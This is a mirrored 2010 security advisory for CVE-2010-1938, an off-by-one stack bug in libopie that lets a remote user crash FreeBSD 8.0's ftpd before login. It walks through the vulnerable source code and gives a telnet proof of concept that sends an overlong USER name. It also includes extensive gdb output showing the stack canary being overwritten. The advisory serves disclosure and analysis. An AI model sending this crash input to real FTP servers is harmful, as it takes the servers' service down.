Lucene search
K

FreeBSD 8.0 ftpd Off-By-One Proof Of Concept

🗓️ 28 May 2010 00:00:00Reported by Adam ZabrockiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 84 Views

FreeBSD 8.0 ftpd Off-By-One Proof Of Concept - OPIE Authentication System vulnerabilit

Related
Code
`[ libopie __readrec() off-by one (FreeBSD ftpd remote PoC) ]  
  
Authors:   
- Maksymilian Arciemowicz  
- Adam 'pi3' Zabrocki  
  
http://securityreason.com/achievement_securityalert/87  
http://site.pi3.com.pl/adv/libopie-adv.txt  
http://blog.pi3.com.pl/?p=111  
  
  
Date:  
- Dis.: 04.05.2010  
- Pub.: 27.05.2010  
  
CVE: CVE-2010-1938  
CWE: CWE-193  
  
Affected Software:  
- OPIE Authentication System ( libopie )  
  
Software which use libopie:  
- OpenSuSE  
- wu-ftpd  
- mod_opie  
- PAM  
- openssh (modified by FreeBSD/DragonflyBSD Team)  
- sudo  
- opiesu  
- popper  
- Probably much more...  
  
PoC:  
- FreeBSD 8.0 ftpd(8) Remote Off-by one  
line FreeBSD 7 is not affected  
  
Other software can be also affected.   
  
  
NOTE: Prior versions may also be affected.  
  
Orginal URL:  
http://securityreason.com/achievement_securityalert/84  
  
  
--- 0.Description ---  
OPIE is a freely redistributable kit that will drop into most *IX systems and replaces  
your login and FTP daemon with versions that use OTP for user authentication. It also  
includes an OTP generator and a library to make it easy to add OTP authentication to  
existing clients and servers.  
  
  
--- 1. OPIE Authentication System Off-by one ---  
Libopie allows REMOTE and LOCAL attackers to off-by-one attack (on the stack).  
Let's look in the code:  
  
"/src/contrib/opie/opie.h"  
/* Maximum length of a principal (read: user name) */  
#define OPIE_PRINCIPAL_MAX 32  
  
"./src/contrib/opie/libopie/readrec.c"  
int __opiereadrec FUNCTION((opie), struct opie *opie)  
{  
...  
...  
{  
char *c, principal[OPIE_PRINCIPAL_MAX];  
int i;  
  
if (c = strchr(opie->opie_principal, ':'))  
*c = 0;  
[1] if (strlen(opie->opie_principal) > OPIE_PRINCIPAL_MAX)  
[2] (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;  
  
[3] strcpy(principal, opie->opie_principal);  
...  
...  
}  
...  
...  
ret:  
if (f)  
fclose(f);  
return rval;  
}  
  
  
This function at [1] check the length of the variable 'opie->opie_principal'  
which is full user controled. If this length is bigger than OPIE_PRINCIPAL_MAX  
- 32 bytes, program will write at this position NULL byte. In fact the string  
will be 32 bytes long.  
Vulnerability exists at line [3]. Function strcpy() copy user controled variable  
which can be maximum 32 bytes long, to the local bufor 'principal' which is 32  
bytes long too. Here is off-by-one bug because function strcpy() after copied 32  
bytes alwyas ADD NULL byte to the and of string. In fact it will be at the  
position *(principal+32) which is out of buffer.  
A possible way to exploit this vulnerability:  
  
"./src/contrib/opie/libopie/lookup.c"  
int opielookup FUNCTION((opie, principal), struct opie *opie AND char *principal)  
{  
int i;  
  
memset(opie, 0, sizeof(struct opie));  
opie->opie_principal = principal;  
  
if (i = __opiereadrec(opie)) <=== our call ;)  
return i;  
  
return (opie->opie_flags & __OPIE_FLAGS_RW) ? 0 : 2;  
}  
  
  
a deeper analyzis of the code shows:  
  
"./src/contrib/opie/libopie/challenge.c"  
int opiechallenge FUNCTION((mp, name, ss), struct opie *mp AND char *name AND char *ss)  
{  
int rval = -1;  
  
rval = opielookup(mp, name);  
  
...  
...  
  
return rval;  
}  
  
This function is really intereting because it is responsible for authentication so this  
vulnerability can be in the pre-auth phase. We can found many softwares which use this function  
for authorization (for example default ftp daemon in FreeBSD) ;)  
  
Another interesting call we can find here:  
  
"./src/contrib/opie/libopie/writerec.c"  
int __opiewriterec FUNCTION((opie), struct opie *opie)  
{  
char buf[17], buf2[64];  
time_t now;  
FILE *f, *f2 = NULL;  
int i = 0;  
char *c;  
  
time(&now);  
if (strftime(buf2, sizeof(buf2), " %b %d,%Y %T", localtime(&now)) < 1)  
return -1;  
  
if (!(opie->opie_flags & __OPIE_FLAGS_READ)) {  
struct opie opie2;  
i = opielookup(&opie2, opie->opie_principal); <========== our call :)  
...  
}  
...  
...  
}  
  
and this function is used in many places:  
"./src/contrib/opie/libopie/passwd.c" <=== in function opiepasswd()  
"./src/contrib/opie/libopie/verify.c" <=== in function opieverify() - two times ;)  
  
... so we have got many entry points ;) But we are going to test calls to function  
opiechallenge(). Pre-auth vulnerability sounds impressive ;) At first let's test default  
FTP daemon for FreeBSD 8.0 ...  
  
  
--- 2. FreeBSD 8.0 ftpd remote off-by one ---  
Authentication module for FTP server in FreeBSD 8 module was modified. By default it  
uses OPIE library. Let`s see  
  
http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/libexec/ftpd/ftpd.c?rev=1.214.2.1.2.1;content-type=text%2Fplain  
  
...  
  
if (opiechallenge(&opiedata, name, opieprompt) == 0) {  
pwok = (pw != NULL) &&  
opieaccessfile(remotehost) &&  
opiealways(pw->pw_dir);  
reply(331, "Response to %s %s for %s.",  
opieprompt, pwok ? "requested" : "required", name);  
} else {  
pwok = 1;  
reply(331, "Password required for %s.", name);  
}  
askpasswd = 1;  
...  
  
  
this code has been added in line 8. 7.3 is not affected!  
  
Variable 'name' is user name, defined in in auth  
  
"USER AAAA"  
  
name=AAAA  
  
If we use more that 31 chars for username, ftpd will crash. The problem will  
be casued by the off-by-one bug in libopie. FreeBSD 8.0 compile most of its binaries  
with -fstack-protector-all flag by default so the FTP server will be killed by SSP  
with an information about attack:  
  
"stack overflow detected"  
  
The problematic part of libopie is called by the FTP server via this line:  
  
opiechallenge(&opiedata, name, opieprompt)  
  
  
PoC0:  
Connected to localhost.  
Escape character is '^]'.  
220 127.cx FTP server (Version 6.00LS) ready.  
user cx  
331 Password required for cx.  
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Connection closed by foreign host.  
127#   
  
#0 0x281efde7 in kill () from /lib/libc.so.7  
(gdb) i r  
eax 0x0 0  
ecx 0x8060f50 134614864  
edx 0x0 0  
ebx 0x28205ad8 673209048  
esp 0xbfbfd84c 0xbfbfd84c  
ebp 0xbfbfd898 0xbfbfd898  
esi 0xbfbfd864 -1077946268  
edi 0x281f3ad0 673135312  
eip 0x281efde7 0x281efde7  
eflags 0x246 582  
cs 0x33 51  
ss 0x3b 59  
ds 0x3b 59  
es 0x3b 59  
fs 0x3b 59  
gs 0x1b 27  
(gdb) bt  
#0 0x281efde7 in kill () from /lib/libc.so.7  
#1 0x2812de12 in brk () from /lib/libc.so.7  
#2 0x00000580 in ?? ()  
#3 0x00000006 in ?? ()  
#4 0x00000000 in ?? ()  
#5 0x281da06f in __srget () from /lib/libc.so.7  
#6 0x280d0367 in __opieopen () from /usr/lib/libopie.so.6  
#7 0x280cff4f in __opiereadrec () from /usr/lib/libopie.so.6  
#8 0x280cfb53 in opielookup () from /usr/lib/libopie.so.6  
#9 0x280cea9c in opiechallenge () from /usr/lib/libopie.so.6  
#10 0x0804de32 in ?? ()  
#11 0x0805fa60 in optind ()  
#12 0x283250a0 in ?? ()  
#13 0x0805fb78 in optind ()  
#14 0x2809d000 in ?? ()  
#15 0x00000548 in ?? ()  
#16 0x00000000 in ?? ()  
#17 0x2817658b in free () from /lib/libc.so.7  
#18 0x080546e1 in getline ()  
...  
n ?? ()  
#320 0x0000000f in ?? ()  
#321 <signal handler called>  
Cannot access memory at address 0x4c  
  
  
FTP daemon crashed with this log:  
  
May 13 10:57:40 127 ftpd[1547]: stack overflow detected; terminated  
May 13 10:57:41 127 kernel: pid 1547 (ftpd), uid 0: exited on signal 6 (core dumped)  
May 13 10:59:35 127 ftpd[1556]: stack overflow detected; terminated  
May 13 10:59:35 127 kernel: pid 1556 (ftpd), uid 0: exited on signal 6 (core dumped)  
  
SSP has detected stack oveerflow.  
  
  
Let's analyze deeper what has exactly happened:  
  
pi3-freebsd# gdb -q --pid=35118  
...  
...  
Loaded symbols for /libexec/ld-elf.so.1  
0x281f3271 in read () from /lib/libc.so.7  
(gdb) b __opiereadrec  
Breakpoint 1 at 0x280cfd74  
(gdb) c  
Continuing.  
  
Breakpoint 1, 0x280cfd74 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/20i $eip  
...  
...  
0x280cfe23 <__opiereadrec+179>: call 0x280cce48 <_init+1428> <== strlen(...)  
0x280cfe28 <__opiereadrec+184>: cmp $0x20,%eax  
0x280cfe2b <__opiereadrec+187>: ja 0x280cfefb <__opiereadrec+395> <= if > 0x20...  
...  
...  
0x280cfe31 <__opiereadrec+193>: lea 0xffffffd0(%ebp),%eax  
0x280cfe34 <__opiereadrec+196>: mov %edi,0x4(%esp)  
0x280cfe38 <__opiereadrec+200>: lea 0x4(%esi),%edi  
0x280cfe3b <__opiereadrec+203>: mov %eax,0xffffffb8(%ebp)  
0x280cfe3e <__opiereadrec+206>: mov %eax,(%esp)  
0x280cfe41 <__opiereadrec+209>: call 0x280cce98 <_init+1508> <== strcpy(principal,opie->opie_principal);  
0x280cfe46 <__opiereadrec+214>: mov 0xffffffc0(%ebp),%edx  
...  
...  
0x280cfeab <__opiereadrec+315>: mov 0x194(%ebx),%ecx <=== get canary from the 'secret' place  
0x280cfeb1 <__opiereadrec+321>: mov %edi,%eax  
0x280cfeb3 <__opiereadrec+323>: mov 0xfffffff0(%ebp),%edx <== get canary from the stack  
0x280cfeb6 <__opiereadrec+326>: xor (%ecx),%edx <== compare it (xor)  
0x280cfeb8 <__opiereadrec+328>: jne 0x280cff4a <__opiereadrec+474> <== __stack  
0x280cfebe <__opiereadrec+334>: add $0x4c,%esp  
0x280cfec1 <__opiereadrec+337>: pop %ebx  
0x280cfec2 <__opiereadrec+338>: pop %esi  
0x280cfec3 <__opiereadrec+339>: pop %edi  
0x280cfec4 <__opiereadrec+340>: pop %ebp  
0x280cfec5 <__opiereadrec+341>: ret  
...  
...  
0x280cfefb <__opiereadrec+395>: movb $0x0,0x20(%edi) <=== (opie->opie_principal)[OPIE_PRINCIPAL_MAX] = 0;  
0x280cfeff <__opiereadrec+399>: mov 0x104(%esi),%edi  
0x280cff05 <__opiereadrec+405>: jmp 0x280cfe31 <__opiereadrec+193>  
...  
...  
(gdb) x/x $ebx+0x194  
0x280d3940 <remote_terms+8856>: 0x0805e900  
(gdb) x/x 0x0805e900  
0x805e900 <__stack_chk_guard>: 0x4541c442 <== secret canary ;)  
(gdb) x/x $ebp+0xfffffff0  
0xbfbfdce8: 0x00000000  
(gdb) b *0x280cfe28  
Breakpoint 2 at 0x280cfe28  
(gdb) c  
Continuing.  
  
Breakpoint 2, 0x280cfe28 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) i r eax  
eax 0x22 34 <=== strlen() return value...  
(gdb) b *0x280cfefb  
Breakpoint 3 at 0x280cfefb  
(gdb) c  
Continuing.  
  
Breakpoint 3, 0x280cfefb in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/s $edi  
0x28325070: 'A' <repeats 31 times>, "\001\002\b"  
(gdb) b *0x280cfeff  
Breakpoint 4 at 0x280cfeff  
(gdb) c  
Continuing.  
  
Breakpoint 4, 0x280cfeff in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/s $edi  
0x28325070: 'A' <repeats 31 times>, "\001" <== as we can see in this string (array)  
33 byte now is 0x0. So our buffer now  
holds/contains 32 bytes before the  
terminating NULL byte  
(gdb) b *0x280cfe41  
Breakpoint 5 at 0x280cfe41  
(gdb) c  
Continuing.  
  
Breakpoint 5, 0x280cfe41 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/x $esp  
0xbfbfdca0: 0xbfbfdcc8  
(gdb) x/x $esp+4  
0xbfbfdca4: 0x28325070  
(gdb) x/s 0x28325070  
0x28325070: 'A' <repeats 31 times>, "\001"  
(gdb) x/20x 0xbfbfdcc8 <====== Local buffer  
0xbfbfdcc8: 0x280d37ac 0x0805fa60 0x28325070 0xbfbfdd18  
0xbfbfdcd8: 0x2805f629 0x2809d600 0x00000060 0x00000000  
0xbfbfdce8: 0x4541c442 0x280d37ac 0x0805fa60 0x28325070  
^^^^^^^^^^ <============ canary value before strcpy()  
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000  
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000  
(gdb) b *0x280cfe46  
Breakpoint 6 at 0x280cfe46  
(gdb) c  
Continuing.  
  
Breakpoint 6, 0x280cfe46 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/20x 0xbfbfdcc8  
0xbfbfdcc8: 0x41414141 0x41414141 0x41414141 0x41414141  
0xbfbfdcd8: 0x41414141 0x41414141 0x41414141 0x01414141  
0xbfbfdce8: 0x4541c400 0x280d37ac 0x0805fa60 0x28325070  
^^^^^^^^^^ <============== canary value after strcpy().  
Now we can see pretty off-by-one... ;)  
0xbfbfdcf8: 0xbfbfdd18 0x280cfb53 0x0805fa60 0x00000000  
0xbfbfdd08: 0x00000118 0x0805fa60 0x280d37ac 0x00000000  
(gdb) b *0x280cfeb8  
Breakpoint 7 at 0x280cfeb8  
(gdb) c  
Continuing.  
  
Breakpoint 7, 0x280cfeb8 in __opiereadrec () from /usr/lib/libopie.so.6  
(gdb) x/x $ecx  
0x805e900 <__stack_chk_guard>: 0x4541c442  
(gdb) x/x $ebp+0xfffffff0  
0xbfbfdce8: 0x4541c400  
(gdb) b *0x280cfec5  
Breakpoint 8 at 0x280cfec5  
(gdb) c  
Continuing.  
  
May 14 01:55:03 pi3-freebsd ftpd[35118]: stack overflow detected; terminated  
  
Program received signal SIGABRT, Aborted.  
0x281efde7 in kill () from /lib/libc.so.7  
(gdb)  
  
  
--- 3. Credits ---  
Discovered by:  
- Maksymilian Arciemowicz from SecurityReason.com  
- Adam Zabrocki from ... hm... good question ;p  
  
  
--- 4. Greets ---  
sp3x Infospec p_e_a, #plhack@IRCNET  
  
  
--- 5. Contact ---  
Email:  
- cxib {a\./t] securityreason [d=t} com  
- pi3 [a{]t] itsec D||T pl  
  
  
--- 6. Official FreeBSD response ---  
http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc  
  
  
GPG:  
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://pi3.com.pl  
http://securityreason.com/  
http://securityreason.com/exploit_alert/ - Exploit Database  
http://securityreason.com/security_alert/ - Vulnerability Database  
  
  
--  
pi3 (pi3ki31ny) - pi3 (at) itsec pl  
http://pi3.com.pl  
http://site.pi3.com.pl  
http://blog.pi3.com.pl  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation